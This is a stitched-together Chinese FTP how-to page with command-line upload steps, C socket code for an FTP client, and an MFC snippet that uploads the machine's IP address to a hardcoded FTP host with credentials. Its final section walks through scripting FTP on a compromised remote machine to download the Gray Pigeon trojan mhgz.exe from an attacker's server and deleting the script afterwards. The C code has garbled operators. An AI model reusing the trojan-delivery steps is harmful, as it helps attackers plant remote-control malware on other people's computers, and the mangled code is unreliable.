本文目录一览:
ftp命令怎么上传文件夹??
1、输入命令行:-- FTP 10.1.61.212如果对方没有开启FTP服务,那么这个命令就不会有效果。
2、-- 用户名称:这个主要是FTP服务器配置的用户名和密码
-- 用户密码:
3、主要是使用二进制来传输文件,-- bin
-- quote tpye c 1381这个意思是指定服务器端的代码页,如果传输的是IFS流文件,不用做转换,直接用BINARY的模式传输文件。不会出现编码错误。
4、-- lcd D:\Document\data\upload 这个命令主要是进去本地文件夹目录用来上传文件的本地路径目录。
5、进入主机的目录,也就是FTP服务器的路径cd CBSDOTHDTA
-- put "D:/Document/data/upload/UPFW90.FRZN160919",使用put命令上传文件。
6、put "D:/Document/data/upload/UPFW90.FRZN160919"命令执行成功之后,会在后面出来三个交易码主要是200、150、226这都是成功的交易码。完成效果图。
如何在unix下,c语言中实现ftp文件传输
nt FtpInit(char* Host,char* Account,char* Passwd)
{
short shPortNumber;
long lAddr;
char RecvBuf[1024];
char SendBuf[1024];
int RecvLen,SendLen;
shPortNumber=htons(21);
lAddr=inet_addr(Host);
memset(HostName,0,16);
memcpy(HostName,Host,strlen(Host));
hClient=socket(AF_INET,SOCK_STREAM,0);
if (hClient0)
{
return -1;
}
if(setsockopt(hClient,SOL_SOCKET,SO_RCVTIMEO,(char *)rcvtime,sizeof(int)))
{
close(hClient);
return -1;
}
if(setsockopt(hClient,SOL_SOCKET,SO_KEEPALIVE,(char *)keepalive,sizeof(int)))
{
close(hClient);
return -1;
}
SockAddr.sin_family = AF_INET;
SockAddr.sin_addr.s_addr = lAddr;
SockAddr.sin_port = shPortNumber;
if (connect(hClient,(const struct sockaddr *)SockAddr,sizeof(SockAddr))0)
{
close(hClient);
return -1;
}
memset(RecvBuf,0,1024);
if((RecvLen=FtpMatchReceive(hClient,RecvBuf, "220 ",1024))=0)
{
close(hClient);
return -1;
}
if(SendLen=GetFtpSendBuf("USER",Account,SendBuf,1024)=0)
{
close(hClient);
return -1 ;
}
if(SendFTPCommand(hClient,SendBuf)!=331)
{
close(hClient);
return -1;
}
if(SendLen=GetFtpSendBuf("PASS",Passwd,SendBuf,1024)=0)
{
close(hClient);
return -1 ;
}
if(SendFTPCommand(hClient,SendBuf)!=230)
{
close(hClient);
return -1;
}
}
int FtpGetFile(char * FileName)
{
int hListenSocket;
int hDataSocket;
int RetWriteFile;
int ReturnCode;
char RemoteFileName[256];
char RemoteFile[256];
char ExecCommand[256];
char * pcSubDir;
memset(RemoteFileName,0,256);
memset(RemoteFile,0,256);
memset(ExecCommand,0,256);
strcpy(RemoteFileName,FileName);
memcpy(ExecCommand,"CWD ",4);
pcSubDir=strrchr(RemoteFileName,'\\');
if (pcSubDir !=NULL)
{
strncat(ExecCommand,RemoteFileName,RemoteFileName-pcSubDir);
if(SendFTPCommand(hClient,ExecCommand)!=250)
{
close(hClient);
return -1;
}
strcpy(RemoteFile,pcSubDir);
}
else
{
strcpy(RemoteFile,RemoteFileName);
}
if((hListenSocket=CreatListenSocket(hClient))0)
{
close(hClient);
return -1;
}
if(RequestDataConnection(hClient,hListenSocket)0)
{
close(hClient);
return -1;
}
memset( ExecCommand,0,256);
memcpy( ExecCommand,"RETR ",5);
strcat( ExecCommand,RemoteFile);
printf("The FileName=%s\n",RemoteFile);
strcat( ExecCommand,"\r\n");
ReturnCode=SendFTPCommand(hClient,ExecCommand);
if(ReturnCode!=150)
{
close(hClient);
return -1;
}
if((hDataSocket=AcceptDataConnection(hListenSocket))0)
{
close(hClient);
return -1;
}
if((RetWriteFile=WriteFile(hDataSocket,RemoteFile))0)
{
close(hDataSocket);
close(hClient);
return -1;
}
}
C语言实现从FTP下载、上传文件
1.C语言可以使用CStdioFile函数打开本地文件。使用类CInternetSession 创建并初始化一个Internet打开FTP服务器文件。
CStdioFile继承自CFile,一个CStdioFile 对象代表一个用运行时函数fopen 打开的C 运行时流式文件。
流式文件是被缓冲的,而且可以以文本方式(缺省)或二进制方式打开。文本方式提供对硬回车—换行符对的特殊处理。当你将一个换行符(0x0A)写入一个文本方式的CStdioFile 对象时,字节对(0x0D,0x0A)被发送给该文件。当你读一个文件时,字节对(0x0D,0x0A)被翻译为一个字节(0x0A)。-cftp传文件
CStdioFile 不支持Duplicate,LockRange,和UnlockRange 这几个CFile 函数。如果在CStdioFile 中调用了这几个函数,将会出现CNoSupported 异常。-cftp传文件
使用类CInternetSession 创建并初始化一个或多个同时的Internet 会话。如果需要,还可描述与代理服务器的连接。
如果Internet连接必须在应用过程中保持着,可创建一个类CWinApp的CInternetSession成员。一旦已建立起Internet 会话,就可调用OpenURL。CInternetSession会通过调用全局函数AfxParseURL来为分析映射URL。无论协议类型如何,CInternetSession 解释URL并管理它。它可处理由URL资源“file://”标志的本地文件的请求。如果传给它的名字是本地文件,OpenURL 将返回一个指向CStdioFile对象的指针。-cftp传文件
如果使用OpenURL在Internet服务器上打开一个URL,你可从此处读取信息。如果要执行定位在服务器上的指定的服务(例如,HTTP,FTP或Gopher)行为,必须与此服务器建立适当的连接。
2.例程:
#include winsock.h
#include stdio.h
WORD wVersionRequested;
WSADATA wsaData;
char name[255]; //name里是本机名
CString ip; //本机IP
PHOSTENT hostinfo;
wVersionRequested = MAKEWORD( 1, 1 );
if ( WSAStartup( wVersionRequested, wsaData ) == 0 )
{
if( gethostname ( name, sizeof(name)) == 0)
{
if((hostinfo = gethostbyname(name)) != NULL)
{
ip = inet_ntoa (*(struct in_addr *)*hostinfo-h_addr_list);
}
}
WSACleanup( );
}
// AfxMessageBox(name);//name里是本机名
// AfxMessageBox(ip); //ip中是本机IP
CStdioFile File;
File.Open("C://ip.txt",CFile::modeCreate|CFile::modeReadWrite);
//如果文件事先不存在的话,就需要CFile::modeCreate,否则就不需要。
File.WriteString(ip+":"+"8000");
File.Close(); //注意,这里一定要把文件关闭,否则不能成功上传
CString host="204.45.67.11";
CString user="19337";
CString password="1234567";
TRACE(":%s:%s:%s:%s/n", host,
user, password, "C://ip.txt");
CInternetSession session
(AfxGetApp()-m_pszAppName);
CFtpConnection* pConn = NULL;
pConn = session.GetFtpConnection (host,user,password);
if (pConn) {
if (!pConn-PutFile("C://ip.txt","ip.txt"))
{
MessageBox("传送文件失败??");
} else {
MessageBox("传送文件成功!");
}
pConn-Close();
delete pConn;
session.Close();
} else {
MessageBox("Cannot Connect");
}
远程计算机怎么用FTP传文件啊
在远程计算机的cmd环境下,如果不能通过ipc$渠道传送文件,那就只有通过ftp下载文件了。
假设我们已经有一个ftp服务器,上面有一个我们配置好的灰鸽子木马文件mhgz.exe,我们应该知道ftp服务器的三个参数:
1、ftp服务器的ip地址:如203.75.44.34
2、ftp服务器的用户名:如tty
3、ftp服务器的密
码:如tty123
在远程计算机的cmd下依次输入下面的命令:
1、echo
open
203.75.44.34tty.txt
登陆ftp服务器
2、echo
ttytty.txt
用户名
3、echo
tty123tty.txt
密码
4、echo
bintty.txt
开始
5、echo
get
mhgz.exetty.txt
下载灰鸽子木马
6、echo
byetty.txt
关闭ftp服务器
输入上面命令后,在远程计算机上就会生成一个tty.txt文件,内容为:
open
203.75.44.34
tty
tty123
bin
get
mhgz.exe
bye
现在我们在远程计算机上执行下面的命令:
ftp
-s:tty.txt
意思是,读取tty.txt里的参数,执行ftp命令,命令执行完后,灰鸽子木马文件mhgz.exe就下载到对方计算机里了。
del
c:\tty.txt